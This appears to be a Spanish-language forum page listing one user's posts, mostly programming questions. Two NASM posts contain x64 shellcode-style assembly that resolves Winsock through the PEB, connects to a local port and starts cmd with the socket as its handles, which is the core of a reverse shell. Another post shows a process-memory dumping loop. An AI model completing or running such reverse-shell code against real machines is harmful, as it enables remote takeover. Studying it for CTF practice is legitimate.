|
Mostrar Temas
|
Páginas: 1 [2]
|
11
|
Programación / Programación General / Consejo sobre multiplataforma para programar gráficos.
|
en: 31 Marzo 2022, 17:51 pm
|
Buenas.
Espero se encuentren muy bien, tengo una pregunta sobre multiplataforma.
¿Qué GUI me recomiendan que sea multiplataforma, o por lo menos compatible con linux y windows?.
Les cuento, estoy haciendo un programa que funciona por separado, una versión que sirva en windows y otra que sirva en linux, pero quisiera hacerlo compatible con los dos, pero, con gráficos.
Como todos ya saben, se puede en modo consola usando las definiciones win32 o linux, pero como quiero colocarle una ventana para su funcionamiento, no sé cual lenguaje de programación me funcionaría mejor.
Al principio pensé en el básico java, pero me desespera un poco cuando sale una actualización, porque puede que no pasé nada como puede que haya partes del código que ya no funcionen y tengo que estar actualizando y buscando y preguntando que puedo hacer y no soy full java.
Después pensé en C# pero al parecer es solo para windows, después python con gtk, aunque si es complicado los HBOX y VBOX, que si no sabes acomodar los objetos en cada caja, es un desastre la ventana, pero igual sí funciona, pues nimodo, me esforzaré. Y ya no sé cual más.
Espero me puedan aconsejar que lenguaje de programación me ayudaría a hacer una aplicación multiplataforma para que los gráficos funcionen en las dos plataformas aunque tenga que definir por separado en el código que parte va a funcionar en cada plataforma.
Saludos.
|
|
|
12
|
Programación / Programación C/C++ / fread me muestra algunos hexadecimales de forma incorrecta
|
en: 2 Febrero 2022, 05:47 am
|
Hola Dos preguntas, cuando intento sacar los hexadecimales de un binario, utilizando fopen y fseek, me aparecen unos de forma extraña, por ejemplo: 0xaf 0x3c 0xffffffa9 0x4c.... 0xbc 0xaf 0xffffff4c...etc. ¿A que se debe esto? 0xffffffa9 .... 0xffffff4c ¿hay alguna forma de evitarlo? en el printf utilizo, "%02x", pero no entiendo porque me aparecen algunos hexadecimales de esa forma, incluso uso antes memset para dejar el buffer de fread en '\0', pensando que podría algo interferir, pero no, sigue haciendo lo mismo. También lo verifique con un editor de hexadecimal y si me aparecen los hexadecimales correctos, pero a diferencia del editor, a mi me salen de la forma rara que explique arriba. Espero me puedan explicar. Saludos.
|
|
|
13
|
Programación / Programación C/C++ / ¿Me pueden explicar unas dudas sobre ReadProcessMemory?
|
en: 23 Enero 2022, 04:09 am
|
Hola Estoy haciendo una herramienta para reverse, bueno... un intento de reverse jeje, y leyendo en MSDN encontré que hay funciones que sirven para debugger. Estoy usando "VirtualQueryEx" y "ReadProcessMemory", pero tengo 3 preguntas, espero me puedan explicar algunos detalles. Muestro parte del código donde necesito ayuda. while(iniAddr < (unsigned char*)sInfo.lpMaximumApplicationAddress){
if(VirtualQueryEx(procPath, iniAddr, &mbI, sizeof(mbI)) != 0){
ddump = (PBYTE)malloc(mbI.RegionSize);
if(mbI.Protect == PAGE_READWRITE && mbI.State == MEM_COMMIT){
ReadProcessMemory(procPath, mbI.BaseAddress, ddump, mbI.RegionSize, &ridbyts);
for(int b = 0; b < ridbyts; b++){
printf("%c", ddump[b]); }
} } Cuando dejo solo while, no tarda nada en terminar la ejecución, ahorita entenderán porque lo menciono. Al parecer el código funciona bien, me tarde en lograrlo, pero creo funciona, bien, si encuentran algo mal, espero puedan corregirme. Primera pregunta. ¿ReadProcessMemory, esta bien formulado?, porque buscando información, encontré diferentes maneras de usarlo, por ejemplo, yo utilicé BaseAddress, pero he visto quien a utilizado el buffer de VirtualQueryEx que sería iniAddr. Segunda pregunta. En el For, yo utilicé ridbyts, que es readbytes de "ReadProcessMemory", pero he visto que otros utilizan RegionSize, que sería mbI.RegionSize... pero cual sería el indicado, ¿readbytes o RegionSize?. Tercera pregunta. Relacionado a la segunda pregunta, con cualquiera de los dos (readbytes o RegionSize), no parece tener fin cuando empieza a mostrar el dumpeo del proceso, al principio no sabía si funcionaba, utilice block de notas, pero lo que había escrito no lo encontré, solo me apareció "Edito de texto", y otras cosas como nombre del archivo y path, etc,.. pero después utilice notepad++ y me salio lo que había escrito en notepad junto con otra pestañas que tenía abierta, lo que significa que funciona el código. Pero repito, no tiene fin. ¿Creen que lo que hace readprocessmemory es darme tooooodo lo que hay en memoria, o me esta dando toooodo lo que el proceso utiliza en memoria, o el For es tan grande que no solo estoy leyendo el proceso, sino que ademas estoy leyendo cosas que no tienen nada que ver?, o es normal. Los ejemplos que encuentro casi son parecidos, todo te piden que les especifiques una dirección o en el bloc de notas una frase y cuando el código encuentra la frase se detiene y te dice la dirección en hexadecimal. Y es interesante, pero yo no quiero especificar algo, bueno talvez después, pero ahorita que todavía estoy tratando de entender, quiero ver como debe funcionar consiguiendo el analisis completo. Espero me puedan ayudar con esas dudas.
|
|
|
14
|
Comunicaciones / Redes / ¿Què opciones hay para recibir conexiones entrantes si tu ISP no lo permite?
|
en: 19 Diciembre 2021, 23:57 pm
|
Hola
Tengo una pregunta, espero alguien tenga una idea de que podrìa hacer.
Mi ISP me tiene encerrado en un NAT, no me permite conexiones entrantes, ya intente DMZ, abrir puertos, etc... simplemente no se puede.
Ahorita me puse a hacer diseños en Threejs, porque soy un diseñador con gusto por la programaciòn, pero querìa subir una pàgina web donde pudiera mostrar diseños y venderlos si es posible, pero almenos tener evidencias por si hay interesados.
Desafortnadamente nadie puede ver mì pàgina, solo si se conectan a mi router.
Aquì la pregunta. ¿alguien sabe que puedo hacer para recibir conexiones entrantes?, tengo planeado hablar con la empresa, pero descubrì que ya hay incluso un change.org donde se esta pidiendo que abran los puertos, asì que serà algo complicado que me hagan caso.
Pero mientras logro que me hagan caso y me dejen tener conexiones entrantes, quisiear saber si tengo alguna otra opciòn, por ejemplo, ¿se puede con vpn?, lo intentè con datos de celular, pero tambièn me enterè que hay un firewall que tampoco permite conexiones entrantes y no se me ocurre que otra cosa puedo hacer, el objetivo es no tener que pelearme durante dìas y/o tener que cambiar la compañia.
Tal vez no tenga otra opciòn, o pagar un hosting, pero no se si soporten threejs ademàs que no puedo estar pagando màs servicios por ahorita.
Espero hayan opciones e ideas, sino, nimodo, tendrè que hablar con la empresa para que me dejen tener acceso y entradas libres.
Saludos.
|
|
|
15
|
Programación / ASM / Problema con CreateProcessA en nasm.
|
en: 21 Noviembre 2021, 19:19 pm
|
Hola. Tengo un problema tratando de usar CreateProcessA en nasm, he estado intentando hacerlo funcionar, pero no logro que se ejecute bien, primero lo intente de la siguiente manera. mov r13, rdx ;CreateProcessA
xor rdx, rdx xor r15, r15 mov edx, 0x646d6361 shr edx, 8 push rdx mov r15, rsp ;cmd
xor rdx, rdx push rdi ;socket push rdi ;socket push rdi ;socket push rdx push rdx xor rax, rax inc rax rol rax, 8 push rax ;0x00000100 push rdx push rdx push rdx push rdx push rdx push rdx push rdx push rdx push rdx push rdx xor rax, rax add al, 44 push rax xor r14, r14 mov r14, rsp ;STARTUPINFOA
xor r12, r12 sub rsp, 0x16 mov r12, rsp ;ProcessInfo
sub rsp, 0x58 ;shadowspace
mov [rsp+72], r12 ;ProcessInfo mov [rsp+64], r14 ;STARTUPINFOA mov [rsp+56], rdx mov [rsp+48], rdx mov [rsp+40], rdx xor rax, rax inc rax mov [rsp+32], rax xor r8, r8 xor r9, r9 mov rdx, r15 ;cmd xor rcx, rcx
call r13
Pero creo esta mal alineado entre ProcessInfo y el "shadowspace" que coloqué, la verdad no se si otra vez estoy pisando o borrando el stack, o incluso puede ser que el código este mal. Bueno, así que lo hice de otra manera, que es la siguiente, mov r13, rdx ;CreateProcessA
xor rdx, rdx xor r15, r15 mov edx, 0x646d6361 shr edx, 8 push rdx mov r15, rsp ;cmd
xor r12, r12 xor rcx, rcx xor rdx, rdx mov rcx, 0x80 ;espacio para STARTUPINFOA y ProcessInfo
lop_nul: push rdx loop lop_nul
xor rax, rax mov al, 44
lea r12, [rsp] mov [r12], dword eax ;STARTUPINFOA mov [r12+4], rcx mov [r12+12], rcx mov [r12+20], rcx mov [r12+24], rcx
xor rdx, rdx mov dl, 255 inc rdx
mov [r12+0x3c], edx ;0x00000100 mov [r12+0x50], rdi ;socket mov [r12+0x58], rdi ;socket mov [r12+0x60], rdi ;socket
xor rdx, rdx
sub rsp, 0x58
lea r9, [r12] mov [rsp+64], r9 ;STARTUPINFOA lea r9, [r12+104] mov [rsp+72], r9 ;ProcessInfo mov [rsp+56], rdx mov [rsp+48], rdx mov [rsp+40], rdx xor rax, rax inc rax mov [rsp+32], rax xor r8, r8 xor r9, r9 mov rdx, r15 ;"cmd" xor rcx, rcx
call r13 Creo esta mejor alineado, traté de abrir espacio para no pisar nada, pero igual tampoco funcionó, y ya nosé que más debo hacer, me cuesta trabajo alinear a 16 todo, pero no sé si sea eso, o esté mal algún parámetro o estoy pisando y/o borrando algo del stack... ya me bloqué. Espero me puedan ayudar, para ya terminar esto y ponerme a estudiar más sobre seguridad con CTF's y retos, pero mi mente solo está pensando... "y si le sumo, y si le resto y si checo con mod en tal cosa y si cambio el registro" y es horrible  jeje. Bueno, saludos.
|
|
|
16
|
Programación / ASM / Socket en Nasm sobre Winx64, no logro que "connect" funcione
|
en: 16 Noviembre 2021, 21:24 pm
|
Hola Tengo una duda sobre una conexión socket en Nasm usando Windows x64, durante estos días de no poder salir me puse a estudiar ensamblador y me gustó la idea de aprender a usar socket, lo hice inicialmente en el linux, y ahora en Windows, lo hice de esa manera por la razón de Nasm. Bueno, encontré algunas diferencias, en linux se pueden usar los registros básicos, push y call en x86 pero en x64 debes usar RSI y RDI para poder hace un socket, en windows pasa lo mismo, puedes usar registros, y PUSH y hacer CALL, pero al parecer en x64 no se puede, bueno... si se puede, pero no de la misma manera, y los registros que se utilizar para ejecución son RCX, RDX, R8, R9... etc.... Ya con eso hice el muy clásico PEB para encontrar la manera de llegar a la librería ws2_32.dll para después invocar WSAStartup, WSASocketA, etc... Primero hice uno en x86 que funcionó, y luego quise pasarlo a x64, supuse era algo parecido, así que con un debugger fui comparando resultados, todo iba bien hasta que llegué a necesitar AF_INET, como bien saben es lo básico, WSASocketA(2,1,6,0,0,0). Me costó trabajo, pero cuando el debugger me dejó de mostrar error y logré avanzar, no me salió el mismo resultado comparandolo con el de x86, pero luego con el de x86 me di cuenta que no es un resultado constante, así que continué... Obtuve la función connect y meto a la pila AF_INET, puerto e IP, luego abro espacio de la estructura, meto lo guardado en la pila, coloco el descriptor socket y ejecuto connect. Pero por lo que se imaginarán no funciona, obtengo del registro RAX=00000000FFFFFFFF, ya intente varias cosas, busque en google, traté de orientarme del único ejemplo que conseguí de exploit-db, pero no logro saber que hago mal... Les dejo el código completo, por si me pueden ayudar. Aclaro, no soy profesional, ni llevo años en ASM, soyOtroWeyMas que intenta aprender de internet, si pudieran explicarme con palabras no tan de informáticos avanzados, sería genial y por favor. Espero no les moleste. xor rcx, rcx mov rcx, 0x4174 push rcx mov rcx, 0x656b636f53415357 ;WSASocketA push rcx mov rdx, rsp mov rcx, r15
sub rsp, 0x30 call r14
add rsp, 0x40
xor rcx, rcx mov [rsp+32], rcx mov [rsp+40], rcx
push rcx pop r9 mov r8b, 6 inc rcx mov rdx, rcx inc rcx
call rax
mov rdi, rax
xor rcx, rcx mov rcx, 0x7463656e6e6f63 push rcx mov rdx, rsp mov rcx, r15
sub rsp, 0x28 call r14
add rsp, 0x30
xor r8, r8 xor rcx, rcx
push dword 0x0100007f push word 0x5c11 mov cl, 2 push word cx
mov r8b, 16 mov rdx, rsp mov rcx, rdi
call rax
|
|
|
|
|
|
|